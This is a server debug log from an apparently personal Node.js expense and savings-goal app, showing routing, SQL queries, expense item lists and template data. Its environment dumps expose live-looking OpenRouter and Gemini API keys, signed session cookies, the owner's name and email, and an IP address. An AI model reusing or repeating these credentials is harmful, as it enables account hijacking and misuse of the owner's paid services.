    HTTP_COOKIE: 'security.auth=s%3AZ37R8lJUqCjvWfwgWKguBQ%3D%3D.xch4TbbLP0mgsLADwSRkwo5nVUjsr8xGzCra34BoVcb9OGmQGaTUcuRYhNUgpfhRovPPEDxDP5%2BzvEe1zT1gE%2BeXv3v%2BTKi%2FCeDjEarRhWcP%2FkS4HqcCHxqbqsjvlTY6Cxq4NwTi1QHPCu%2F5%2FUf%2F0Plt%2FFg1l1%2FAVpgLfTs8PUE%3D.P2J5aas5FtIg4ktq%2FNsRRdzHZ%2F7rLPBonuaV7YwxmGA; your_r_git.sid=s%3AmLN9Mt1EyrQ6PJ19RJWaLXBEwC1pBjUl.UUgUkewUMSed2UUj8ji7%2Fip2mvX%2BJ%2B9ZC1O%2FMmrbjBY',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/goal'
}
2026-02-24T12:02:02.209Z server-connect:router Serving serverConnect /api/masters/get-items
2026-02-24T12:02:02.213Z server-connect:router Serving serverConnect /api/access-control/user-info
2026-02-24T12:02:02.214Z server-connect:router Serving serverConnect /api/goals/list
2026-02-24T12:02:02.215Z server-connect:router Serving serverConnect /api/goals/recent_transaction
2026-02-24T12:02:02.215Z server-connect:app Executing action step identify
2026-02-24T12:02:02.215Z server-connect:app options: { provider: 'security' }
2026-02-24T12:02:02.216Z server-connect:output identity: 1
2026-02-24T12:02:02.216Z server-connect:app Executing action step restrict
2026-02-24T12:02:02.216Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-24T12:02:02.217Z server-connect:app Executing action step identify
2026-02-24T12:02:02.217Z server-connect:app options: { provider: 'security' }
2026-02-24T12:02:02.217Z server-connect:output identity: 1
2026-02-24T12:02:02.217Z server-connect:app Executing action step restrict
2026-02-24T12:02:02.218Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-24T12:02:02.218Z server-connect:app Executing action step identify
2026-02-24T12:02:02.218Z server-connect:app options: { provider: 'security' }
2026-02-24T12:02:02.218Z server-connect:output identity: 1
2026-02-24T12:02:02.218Z server-connect:app Executing action step restrict
2026-02-24T12:02:02.218Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-24T12:02:02.220Z server-connect:output restrict: undefined
2026-02-24T12:02:02.220Z server-connect:app Executing action step select
2026-02-24T12:02:02.221Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2026-02-24T12:02:02.222Z server-connect:app Executing action step identify
2026-02-24T12:02:02.222Z server-connect:app options: { provider: 'security' }
2026-02-24T12:02:02.222Z server-connect:output identity: 1
2026-02-24T12:02:02.222Z server-connect:app Executing action step restrict
2026-02-24T12:02:02.222Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-24T12:02:02.224Z server-connect:output restrict: undefined
2026-02-24T12:02:02.224Z server-connect:app Executing action step single
2026-02-24T12:02:02.224Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2026-02-24T12:02:02.225Z server-connect:output restrict: undefined
2026-02-24T12:02:02.225Z server-connect:app Executing action step custom
2026-02-24T12:02:02.225Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT \n' +
      '    tm.*,\n' +
      '\n' +
      '    -- Total saved per goal\n' +
      '    COALESCE(SUM(tt.credit - tt.debit), 0) AS total_saved,\n' +
      '\n' +
      '    -- Last transaction date\n' +
      '    MAX(tt.created_on) AS last_transaction_date,\n' +
      '\n' +
      '    -- % achieved per goal\n' +
      '    ROUND(\n' +
      '        CASE \n' +
      '            WHEN tm.amount > 0 \n' +
      '            THEN (COALESCE(SUM(tt.credit - tt.debit), 0) / tm.amount) * 100\n' +
      '            ELSE 0\n' +
      '        END,\n' +
      '    2) AS percentage_achieved,\n' +
      '\n' +
      '    -- 🔥 Grand total saved (all goals)\n' +
      '    SUM(COALESCE(SUM(tt.credit - tt.debit), 0)) OVER () AS grand_total_saved,\n' +
      '\n' +
      '    -- 🔥 Grand total target (all goals)\n' +
      '    SUM(tm.amount) OVER () AS grand_total_target\n' +
      '\n' +
      'FROM target_master tm\n' +
      'LEFT JOIN target_transaction tt \n' +
      '    ON tm.id = tt.target_id\n' +
      '\n' +
      "WHERE tm.status != 'Completed'\n" +
      '\n' +
      'GROUP BY tm.id\n' +
      'ORDER BY tm.created_on DESC;',
    params: [ [Object] ]
  }
}
2026-02-24T12:02:02.227Z server-connect:output restrict: undefined
2026-02-24T12:02:02.227Z server-connect:app Executing action step paged
2026-02-24T12:02:02.227Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'target_transaction' },
    primary: 'id',
    joins: [ [Object] ],
    orders: [ [Object] ],
    query: 'select `target_transaction`.`target_id`, `target_transaction`.`credit`, `target_transaction`.`debit`, `target_transaction`.`created_on`, `tm`.`name` from `target_transaction` left join `target_master` as `tm` on `tm`.`id` = `target_transaction`.`target_id` where `tm`.`status` <> ? and (`target_transaction`.`target_id` = ?) order by `target_transaction`.`created_on` DESC limit ?',
    limit: 10,
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    }
  }
}
2026-02-24T12:02:02.232Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2026-02-24T12:02:02.234Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2026-02-24T12:02:02.238Z server-connect:output list: []
2026-02-24T12:02:02.239Z server-connect:output list: {
  offset: 0,
  limit: 10,
  total: 0,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: -10 },
    current: 1,
    total: 0
  },
  data: []
}
2026-02-24T12:02:07.346Z server-connect:router Serving templateView /house-planner
2026-02-24T12:02:07.346Z server-connect:app Executing action step identify
2026-02-24T12:02:07.346Z server-connect:app options: { provider: 'security' }
2026-02-24T12:02:07.346Z server-connect:output identity: 1
2026-02-24T12:02:07.346Z server-connect:app Executing action step restrict
2026-02-24T12:02:07.346Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-24T12:02:07.347Z server-connect:output restrict: undefined
2026-02-24T12:02:07.347Z server-connect:router Render template house-planner
2026-02-24T12:02:07.347Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Android"',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Mobile Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'sec-ch-ua-mobile': '?1',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/house-planner',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3AZ37R8lJUqCjvWfwgWKguBQ%3D%3D.xch4TbbLP0mgsLADwSRkwo5nVUjsr8xGzCra34BoVcb9OGmQGaTUcuRYhNUgpfhRovPPEDxDP5%2BzvEe1zT1gE%2BeXv3v%2BTKi%2FCeDjEarRhWcP%2FkS4HqcCHxqbqsjvlTY6Cxq4NwTi1QHPCu%2F5%2FUf%2F0Plt%2FFg1l1%2FAVpgLfTs8PUE%3D.P2J5aas5FtIg4ktq%2FNsRRdzHZ%2F7rLPBonuaV7YwxmGA; your_r_git.sid=s%3AmLN9Mt1EyrQ6PJ19RJWaLXBEwC1pBjUl.UUgUkewUMSed2UUj8ji7%2Fip2mvX%2BJ%2B9ZC1O%2FMmrbjBY',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-25T12:01:39.296Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/house-planner',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/house-planner',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/house-planner',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3AZ37R8lJUqCjvWfwgWKguBQ%3D%3D.xch4TbbLP0mgsLADwSRkwo5nVUjsr8xGzCra34BoVcb9OGmQGaTUcuRYhNUgpfhRovPPEDxDP5%2BzvEe1zT1gE%2BeXv3v%2BTKi%2FCeDjEarRhWcP%2FkS4HqcCHxqbqsjvlTY6Cxq4NwTi1QHPCu%2F5%2FUf%2F0Plt%2FFg1l1%2FAVpgLfTs8PUE%3D.P2J5aas5FtIg4ktq%2FNsRRdzHZ%2F7rLPBonuaV7YwxmGA; your_r_git.sid=s%3AmLN9Mt1EyrQ6PJ19RJWaLXBEwC1pBjUl.UUgUkewUMSed2UUj8ji7%2Fip2mvX%2BJ%2B9ZC1O%2FMmrbjBY',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2026-02-24T12:02:07.698Z server-connect:router Serving templateView /
2026-02-24T12:02:07.698Z server-connect:app Executing action step identify
2026-02-24T12:02:07.698Z server-connect:app options: { provider: 'security' }
2026-02-24T12:02:07.698Z server-connect:output identity: 1
2026-02-24T12:02:07.698Z server-connect:app Executing action step restrict
2026-02-24T12:02:07.698Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-24T12:02:07.699Z server-connect:output restrict: undefined
2026-02-24T12:02:07.699Z server-connect:app Executing action step restrict
2026-02-24T12:02:07.699Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-24T12:02:07.699Z server-connect:output restrict: undefined
2026-02-24T12:02:07.699Z server-connect:router Render template layouts/main
2026-02-24T12:02:07.700Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Android"',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Mobile Safari/537.36',
    'sec-ch-ua': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'sec-ch-ua-mobile': '?1',
    accept: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'no-cors',
    'sec-fetch-dest': 'image',
    referer: 'https://ems.sanjaychaurasia.xyz/house-planner',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"ffc5-KlItgyr7WL1EV7WULpLOd3prSSQ"',
    priority: 'i',
    cookie: 'security.auth=s%3AZ37R8lJUqCjvWfwgWKguBQ%3D%3D.xch4TbbLP0mgsLADwSRkwo5nVUjsr8xGzCra34BoVcb9OGmQGaTUcuRYhNUgpfhRovPPEDxDP5%2BzvEe1zT1gE%2BeXv3v%2BTKi%2FCeDjEarRhWcP%2FkS4HqcCHxqbqsjvlTY6Cxq4NwTi1QHPCu%2F5%2FUf%2F0Plt%2FFg1l1%2FAVpgLfTs8PUE%3D.P2J5aas5FtIg4ktq%2FNsRRdzHZ%2F7rLPBonuaV7YwxmGA; your_r_git.sid=s%3AmLN9Mt1EyrQ6PJ19RJWaLXBEwC1pBjUl.UUgUkewUMSed2UUj8ji7%2Fip2mvX%2BJ%2B9ZC1O%2FMmrbjBY',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-25T12:01:39.296Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Mobile Safari/537.36',
    'HTTP_SEC_CH-UA': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    HTTP_ACCEPT: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'no-cors',
    'HTTP_SEC_FETCH-DEST': 'image',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/house-planner',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"ffc5-KlItgyr7WL1EV7WULpLOd3prSSQ"',
    HTTP_PRIORITY: 'i',
    HTTP_COOKIE: 'security.auth=s%3AZ37R8lJUqCjvWfwgWKguBQ%3D%3D.xch4TbbLP0mgsLADwSRkwo5nVUjsr8xGzCra34BoVcb9OGmQGaTUcuRYhNUgpfhRovPPEDxDP5%2BzvEe1zT1gE%2BeXv3v%2BTKi%2FCeDjEarRhWcP%2FkS4HqcCHxqbqsjvlTY6Cxq4NwTi1QHPCu%2F5%2FUf%2F0Plt%2FFg1l1%2FAVpgLfTs8PUE%3D.P2J5aas5FtIg4ktq%2FNsRRdzHZ%2F7rLPBonuaV7YwxmGA; your_r_git.sid=s%3AmLN9Mt1EyrQ6PJ19RJWaLXBEwC1pBjUl.UUgUkewUMSed2UUj8ji7%2Fip2mvX%2BJ%2B9ZC1O%2FMmrbjBY',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2026-02-24T12:02:15.038Z server-connect:router Serving templateView /diecast-worksheet
2026-02-24T12:02:15.039Z server-connect:app Executing action step identify
2026-02-24T12:02:15.039Z server-connect:app options: { provider: 'security' }
2026-02-24T12:02:15.039Z server-connect:output identity: 1
2026-02-24T12:02:15.039Z server-connect:app Executing action step restrict
2026-02-24T12:02:15.039Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-24T12:02:15.040Z server-connect:output restrict: undefined
2026-02-24T12:02:15.040Z server-connect:router Render template diecast-worksheet
2026-02-24T12:02:15.040Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
